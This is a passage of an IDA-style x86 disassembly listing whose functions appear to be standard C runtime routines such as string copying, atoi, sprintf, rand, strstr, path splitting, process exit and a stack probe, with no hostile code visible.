jz short loc_4177D4 loc_4177C2: ; CODE XREF: sub_417760+72j mov [edi], al inc edi dec ecx jz loc_417856 test edi, 3 jnz short loc_4177C2 loc_4177D4: ; CODE XREF: sub_417760+60j mov ebx, ecx shr ecx, 2 jnz short loc_417847 loc_4177DB: ; CODE XREF: sub_417760+7Fj ; sub_417760+F4j mov [edi], al inc edi loc_4177DE: ; CODE XREF: sub_417760+4Dj dec ebx jnz short loc_4177DB pop ebx pop esi loc_4177E3: ; CODE XREF: sub_417760+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4177E9: ; CODE XREF: sub_417760+A9j ; sub_417760+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4177A0 loc_4177F1: ; CODE XREF: sub_417760+20j ; sub_417760+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4177E9 test dl, dl jz short loc_41783B test dh, dh jz short loc_417831 test edx, 0FF0000h jz short loc_417827 test edx, 0FF000000h jnz short loc_4177E9 mov [edi], edx jmp short loc_41783F ; --------------------------------------------------------------------------- loc_417827: ; CODE XREF: sub_417760+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41783F ; --------------------------------------------------------------------------- loc_417831: ; CODE XREF: sub_417760+B1j and edx, 0FFh mov [edi], edx jmp short loc_41783F ; --------------------------------------------------------------------------- loc_41783B: ; CODE XREF: sub_417760+ADj xor edx, edx mov [edi], edx loc_41783F: ; CODE XREF: sub_417760+C5j ; sub_417760+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_417851 loc_417847: ; CODE XREF: sub_417760+79j xor eax, eax loc_417849: ; CODE XREF: sub_417760+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_417849 loc_417851: ; CODE XREF: sub_417760+E5j and ebx, 3 jnz short loc_4177DB loc_417856: ; CODE XREF: sub_417760+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_417760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417860 proc near ; CODE XREF: sub_417960+7p ; sub_42DC00+8Fp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h loc_417866: ; CODE XREF: sub_417860+4Ej cmp dword_447480, 1 jle short loc_417886 push 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_10], eax jmp short loc_41789F ; --------------------------------------------------------------------------- loc_417886: ; CODE XREF: sub_417860+Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_10], edx loc_41789F: ; CODE XREF: sub_417860+24j cmp [ebp+var_10], 0 jz short loc_4178B0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_417866 ; --------------------------------------------------------------------------- loc_4178B0: ; CODE XREF: sub_417860+43j mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx cmp [ebp+var_4], 2Dh jz short loc_4178D5 cmp [ebp+var_4], 2Bh jnz short loc_4178E8 loc_4178D5: ; CODE XREF: sub_417860+6Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4178E8: ; CODE XREF: sub_417860+73j mov [ebp+var_8], 0 loc_4178EF: ; CODE XREF: sub_417860+E9j cmp dword_447480, 1 jle short loc_41790B push 4 mov edx, [ebp+var_4] push edx call sub_41FA40 add esp, 8 mov [ebp+var_14], eax jmp short loc_417920 ; --------------------------------------------------------------------------- loc_41790B: ; CODE XREF: sub_417860+96j mov eax, [ebp+var_4] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_14], edx loc_417920: ; CODE XREF: sub_417860+A9j cmp [ebp+var_14], 0 jz short loc_41794B mov eax, [ebp+var_8] imul eax, 0Ah mov ecx, [ebp+var_4] lea edx, [eax+ecx-30h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_4178EF ; --------------------------------------------------------------------------- loc_41794B: ; CODE XREF: sub_417860+C4j cmp [ebp+var_C], 2Dh jnz short loc_417958 mov eax, [ebp+var_8] neg eax jmp short loc_41795B ; --------------------------------------------------------------------------- loc_417958: ; CODE XREF: sub_417860+EFj mov eax, [ebp+var_8] loc_41795B: ; CODE XREF: sub_417860+F6j mov esp, ebp pop ebp retn sub_417860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417960 proc near ; CODE XREF: sub_401404+2F4p ; sub_401C87+70Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_417860 add esp, 4 pop ebp retn sub_417960 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi loc_417987: ; CODE XREF: .data:004179CFj cmp dword_447480, 1 jle short loc_4179A7 push 8 mov eax, [ebp+8] xor ecx, ecx mov cl, [eax] push ecx call sub_41FA40 add esp, 8 mov [ebp-14h], eax jmp short loc_4179C0 ; --------------------------------------------------------------------------- loc_4179A7: ; CODE XREF: .data:0041798Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp-14h], edx loc_4179C0: ; CODE XREF: .data:004179A5j cmp dword ptr [ebp-14h], 0 jz short loc_4179D1 mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax jmp short loc_417987 ; --------------------------------------------------------------------------- loc_4179D1: ; CODE XREF: .data:004179C4j mov ecx, [ebp+8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax mov ecx, [ebp-4] mov [ebp-10h], ecx cmp dword ptr [ebp-4], 2Dh jz short loc_4179F6 cmp dword ptr [ebp-4], 2Bh jnz short loc_417A09 loc_4179F6: ; CODE XREF: .data:004179EEj mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_417A09: ; CODE XREF: .data:004179F4j mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 0 loc_417A17: ; CODE XREF: .data:00417A87j cmp dword_447480, 1 jle short loc_417A33 push 4 mov edx, [ebp-4] push edx call sub_41FA40 add esp, 8 mov [ebp-18h], eax jmp short loc_417A48 ; --------------------------------------------------------------------------- loc_417A33: ; CODE XREF: .data:00417A1Ej mov eax, [ebp-4] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp-18h], edx loc_417A48: ; CODE XREF: .data:00417A31j cmp dword ptr [ebp-18h], 0 jz short loc_417A89 push 0 push 0Ah mov eax, [ebp-8] push eax mov ecx, [ebp-0Ch] push ecx call sub_4206E0 mov ecx, eax mov esi, edx mov eax, [ebp-4] sub eax, 30h cdq add ecx, eax adc esi, edx mov [ebp-0Ch], ecx mov [ebp-8], esi mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx jmp short loc_417A17 ; --------------------------------------------------------------------------- loc_417A89: ; CODE XREF: .data:00417A4Cj cmp dword ptr [ebp-10h], 2Dh jnz short loc_417A9E mov eax, [ebp-0Ch] neg eax mov edx, [ebp-8] adc edx, 0 neg edx jmp short loc_417AA4 ; --------------------------------------------------------------------------- loc_417A9E: ; CODE XREF: .data:00417A8Dj mov eax, [ebp-0Ch] mov edx, [ebp-8] loc_417AA4: ; CODE XREF: .data:00417A9Cj pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AB0 proc near ; CODE XREF: sub_41AB00+D2p push ebp mov ebp, esp cmp off_444EBC, 0 jz short loc_417AC2 call off_444EBC loc_417AC2: ; CODE XREF: sub_417AB0+Aj push offset dword_43702C push offset dword_437018 call sub_417C80 add esp, 8 push offset dword_437014 push offset dword_437000 call sub_417C80 add esp, 8 pop ebp retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AF0 proc near ; CODE XREF: sub_41AB00+12Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 mov eax, [ebp+arg_0] push eax call sub_417B70 add esp, 0Ch pop ebp retn sub_417AF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B10 proc near ; CODE XREF: .data:0041AC54p ; sub_41AC70+22p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1 mov eax, [ebp+arg_0] push eax call sub_417B70 add esp, 0Ch pop ebp retn sub_417B10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 push 0 call sub_417B70 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 1 push 0 call sub_417B70 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B70 proc near ; CODE XREF: sub_417AF0+Bp ; sub_417B10+Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx call sub_417C60 cmp dword_4DDFC0, 1 jnz short loc_417B93 mov eax, [ebp+arg_0] push eax call dword_4E03C4 ; GetCurrentProcess push eax call dword_4E03BC ; TerminateProcess loc_417B93: ; CODE XREF: sub_417B70+10j mov dword_4DDFBC, 1 mov cl, byte ptr [ebp+arg_8] mov byte_4DDFB8, cl cmp [ebp+arg_4], 0 jnz short loc_417BF3 cmp dword_4DF694, 0 jz short loc_417BE1 mov edx, dword_4DF690 mov [ebp+var_4], edx loc_417BBE: ; CODE XREF: sub_417B70:loc_417BDFj mov eax, [ebp+var_4] sub eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, dword_4DF694 jb short loc_417BE1 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_417BDF mov eax, [ebp+var_4] call dword ptr [eax] loc_417BDF: ; CODE XREF: sub_417B70+68j jmp short loc_417BBE ; --------------------------------------------------------------------------- loc_417BE1: ; CODE XREF: sub_417B70+43j ; sub_417B70+60j push offset dword_437038 push offset dword_437030 call sub_417C80 add esp, 8 loc_417BF3: ; CODE XREF: sub_417B70+3Aj push offset dword_437044 push offset dword_43703C call sub_417C80 add esp, 8 cmp dword_4DDFC4, 0 jnz short loc_417C2E push 0FFFFFFFFh call sub_4167D0 add esp, 4 and eax, 20h test eax, eax jz short loc_417C2E mov dword_4DDFC4, 1 call sub_417280 loc_417C2E: ; CODE XREF: sub_417B70+9Cj ; sub_417B70+ADj cmp [ebp+arg_8], 0 jz short loc_417C3B call sub_417C70 jmp short loc_417C4F ; --------------------------------------------------------------------------- loc_417C3B: ; CODE XREF: sub_417B70+C2j mov dword_4DDFC0, 1 mov ecx, [ebp+arg_0] push ecx call dword_4E0328 ; ExitProcess loc_417C4F: ; CODE XREF: sub_417B70+C9j mov esp, ebp pop ebp retn sub_417B70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C60 proc near ; CODE XREF: sub_417B70+4p ; sub_419EA0+4p push ebp mov ebp, esp push 0Dh call sub_41BC80 add esp, 4 pop ebp retn sub_417C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C70 proc near ; CODE XREF: sub_417B70+C4p ; sub_419EA0+61p ... push ebp mov ebp, esp push 0Dh call sub_41BD20 add esp, 4 pop ebp retn sub_417C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C80 proc near ; CODE XREF: sub_417AB0+1Cp ; sub_417AB0+2Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_417C83: ; CODE XREF: sub_417C80+21j mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_417CA3 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jz short loc_417C98 mov edx, [ebp+arg_0] call dword ptr [edx] loc_417C98: ; CODE XREF: sub_417C80+11j mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax jmp short loc_417C83 ; --------------------------------------------------------------------------- loc_417CA3: ; CODE XREF: sub_417C80+9j pop ebp retn sub_417C80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CB0 proc near ; CODE XREF: sub_401404+18Cp ; sub_401404+283p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_417CC5: ; CODE XREF: sub_417CB0+3Dj cmp [ebp+arg_0], 0 jnz short loc_417CE9 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_417CE9 int 3 ; Trap to Debugger loc_417CE9: ; CODE XREF: sub_417CB0+19j ; sub_417CB0+36j xor edx, edx test edx, edx jnz short loc_417CC5 loc_417CEF: ; CODE XREF: sub_417CB0+67j cmp [ebp+arg_4], 0 jnz short loc_417D13 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_417D13 int 3 ; Trap to Debugger loc_417D13: ; CODE XREF: sub_417CB0+43j ; sub_417CB0+60j xor eax, eax test eax, eax jnz short loc_417CEF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov dword ptr [eax+4], 7FFFFFFFh mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_24] push eax call sub_4209A0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_417D8F mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_30], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_417DA0 ; --------------------------------------------------------------------------- loc_417D8F: ; CODE XREF: sub_417CB0+BBj mov edx, [ebp+var_24] push edx push 0 call sub_420720 add esp, 8 mov [ebp+var_30], eax loc_417DA0: ; CODE XREF: sub_417CB0+DDj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417CB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DB0 proc near ; CODE XREF: sub_401404+45p ; sub_401C87+4484p ... arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_421920 mov ecx, [ebp+arg_0] mov [eax+14h], ecx pop ebp retn sub_417DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC0 proc near ; CODE XREF: sub_401404:loc_401559p ; sub_401404:loc_401875p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_421920 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov edx, [ebp+var_4] mov [edx+14h], ecx mov eax, [ebp+var_4] mov eax, [eax+14h] shr eax, 10h and eax, 7FFFh mov esp, ebp pop ebp retn sub_417DC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417E00 proc near ; CODE XREF: sub_401404+12Ap ; sub_401C87+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_417E7A mov dh, [ecx+1] test dh, dh jz short loc_417E67 loc_417E18: ; CODE XREF: sub_417E00+52j ; sub_417E00+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_417E3A test al, al jz short loc_417E34 loc_417E29: ; CODE XREF: sub_417E00+32j mov al, [esi] inc esi loc_417E2C: ; CODE XREF: sub_417E00+3Fj cmp al, dl jz short loc_417E3A test al, al jnz short loc_417E29 loc_417E34: ; CODE XREF: sub_417E00+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_417E3A: ; CODE XREF: sub_417E00+23j ; sub_417E00+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_417E2C lea edi, [esi-1] loc_417E44: ; CODE XREF: sub_417E00+63j mov ah, [ecx+2] test ah, ah jz short loc_417E73 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417E18 mov al, [ecx+3] test al, al jz short loc_417E73 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_417E44 jmp short loc_417E18 ; --------------------------------------------------------------------------- loc_417E67: ; CODE XREF: sub_417E00+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418976 ; --------------------------------------------------------------------------- loc_417E73: ; CODE XREF: sub_417E00+49j ; sub_417E00+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_417E7A: ; CODE XREF: sub_417E00+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417E00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E80 proc near ; CODE XREF: sub_401404+117p ; sub_401C87+16C3p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_C] mov [ebp+var_2C], ecx loc_417E95: ; CODE XREF: sub_417E80+3Dj cmp [ebp+arg_0], 0 jnz short loc_417EB9 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_417EB9 int 3 ; Trap to Debugger loc_417EB9: ; CODE XREF: sub_417E80+19j ; sub_417E80+36j xor edx, edx test edx, edx jnz short loc_417E95 loc_417EBF: ; CODE XREF: sub_417E80+67j cmp [ebp+arg_8], 0 jnz short loc_417EE3 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_417EE3 int 3 ; Trap to Debugger loc_417EE3: ; CODE XREF: sub_417E80+43j ; sub_417E80+60j xor eax, eax test eax, eax jnz short loc_417EBF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_24] push ecx call sub_4209A0 add esp, 0Ch mov [ebp+var_28], eax mov edx, [ebp+var_24] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_24] cmp dword ptr [edx+4], 0 jl short loc_417F5E mov eax, [ebp+var_24] mov ecx, [eax] mov byte ptr [ecx], 0 xor edx, edx and edx, 0FFh mov [ebp+var_30], edx mov eax, [ebp+var_24] mov ecx, [eax] add ecx, 1 mov edx, [ebp+var_24] mov [edx], ecx jmp short loc_417F6F ; --------------------------------------------------------------------------- loc_417F5E: ; CODE XREF: sub_417E80+BAj mov eax, [ebp+var_24] push eax push 0 call sub_420720 add esp, 8 mov [ebp+var_30], eax loc_417F6F: ; CODE XREF: sub_417E80+DCj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F80 proc near ; CODE XREF: sub_401404+F7p ; sub_401C87+1DB5p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] push eax call sub_414EC0 add esp, 4 cmp eax, 1 jb short loc_417FDB mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+1] cmp edx, 3Ah jnz short loc_417FDB cmp [ebp+arg_4], 0 jz short loc_417FD0 push 2 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] push ecx call sub_422300 add esp, 0Ch mov edx, [ebp+arg_4] mov byte ptr [edx+2], 0 loc_417FD0: ; CODE XREF: sub_417F80+35j mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax jmp short loc_417FE7 ; --------------------------------------------------------------------------- loc_417FDB: ; CODE XREF: sub_417F80+23j ; sub_417F80+2Fj cmp [ebp+arg_4], 0 jz short loc_417FE7 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 0 loc_417FE7: ; CODE XREF: sub_417F80+59j ; sub_417F80+5Fj mov [ebp+var_C], 0 mov edx, [ebp+arg_0] mov [ebp+var_4], edx jmp short loc_417FFF ; --------------------------------------------------------------------------- loc_417FF6: ; CODE XREF: sub_417F80:loc_41805Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_417FFF: ; CODE XREF: sub_417F80+74j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41805E mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] xor edx, edx mov dl, byte_4DE541[ecx] and edx, 4 test edx, edx jz short loc_41802A mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41805C ; --------------------------------------------------------------------------- loc_41802A: ; CODE XREF: sub_417F80+9Dj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 2Fh jz short loc_418040 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 5Ch jnz short loc_41804B loc_418040: ; CODE XREF: sub_417F80+B3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx jmp short loc_41805C ; --------------------------------------------------------------------------- loc_41804B: ; CODE XREF: sub_417F80+BEj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_41805C mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_41805C: ; CODE XREF: sub_417F80+A8j ; sub_417F80+C9j ... jmp short loc_417FF6 ; --------------------------------------------------------------------------- loc_41805E: ; CODE XREF: sub_417F80+87j cmp [ebp+var_C], 0 jz short loc_4180B4 cmp [ebp+arg_8], 0 jz short loc_4180AC mov eax, [ebp+var_C] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_418082 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_0] mov [ebp+var_14], ecx jmp short loc_418089 ; --------------------------------------------------------------------------- loc_418082: ; CODE XREF: sub_417F80+F5j mov [ebp+var_14], 0FFh loc_418089: ; CODE XREF: sub_417F80+100j mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_422300 add esp, 0Ch mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_4180AC: ; CODE XREF: sub_417F80+E8j mov ecx, [ebp+var_C] mov [ebp+arg_0], ecx jmp short loc_4180C0 ; --------------------------------------------------------------------------- loc_4180B4: ; CODE XREF: sub_417F80+E2j cmp [ebp+arg_8], 0 jz short loc_4180C0 mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_4180C0: ; CODE XREF: sub_417F80+132j ; sub_417F80+138j cmp [ebp+var_8], 0 jz loc_41816A mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jb loc_41816A cmp [ebp+arg_C], 0 jz short loc_41811F mov ecx, [ebp+var_8] sub ecx, [ebp+arg_0] cmp ecx, 0FFh jnb short loc_4180F5 mov edx, [ebp+var_8] sub edx, [ebp+arg_0] mov [ebp+var_18], edx jmp short loc_4180FC ; --------------------------------------------------------------------------- loc_4180F5: ; CODE XREF: sub_417F80+168j mov [ebp+var_18], 0FFh loc_4180FC: ; CODE XREF: sub_417F80+173j mov eax, [ebp+var_18] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] push eax call sub_422300 add esp, 0Ch mov ecx, [ebp+arg_C] add ecx, [ebp+var_10] mov byte ptr [ecx], 0 loc_41811F: ; CODE XREF: sub_417F80+15Aj cmp [ebp+arg_10], 0 jz short loc_418168 mov edx, [ebp+var_4] sub edx, [ebp+var_8] cmp edx, 0FFh jnb short loc_41813E mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_1C], eax jmp short loc_418145 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_417F80+1B1j mov [ebp+var_1C], 0FFh loc_418145: ; CODE XREF: sub_417F80+1BCj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_10] push ecx call sub_422300 add esp, 0Ch mov edx, [ebp+arg_10] add edx, [ebp+var_10] mov byte ptr [edx], 0 loc_418168: ; CODE XREF: sub_417F80+1A3j jmp short loc_4181BE ; --------------------------------------------------------------------------- loc_41816A: ; CODE XREF: sub_417F80+144j ; sub_417F80+150j cmp [ebp+arg_C], 0 jz short loc_4181B2 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_418188 mov ecx, [ebp+var_4] sub ecx, [ebp+arg_0] mov [ebp+var_20], ecx jmp short loc_41818F ; --------------------------------------------------------------------------- loc_418188: ; CODE XREF: sub_417F80+1FBj mov [ebp+var_20], 0FFh loc_41818F: ; CODE XREF: sub_417F80+206j mov edx, [ebp+var_20] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_C] push edx call sub_422300 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_4181B2: ; CODE XREF: sub_417F80+1EEj cmp [ebp+arg_10], 0 jz short loc_4181BE mov ecx, [ebp+arg_10] mov byte ptr [ecx], 0 loc_4181BE: ; CODE XREF: sub_417F80:loc_418168j ; sub_417F80+236j mov esp, ebp pop ebp retn sub_417F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4181D0 proc near ; CODE XREF: sub_401B0B+8p ; sub_401C87+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4181F0 loc_4181DC: ; CODE XREF: sub_4181D0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4181DC loc_4181F0: ; CODE XREF: sub_4181D0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4181D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418200 proc near ; CODE XREF: sub_41F690+1C3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_418220 add esp, 10h pop ebp retn sub_418200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418220 proc near ; CODE XREF: sub_418200+11p ; sub_418560+11p var_20 = dword ptr -20h var_1C = dword ptr 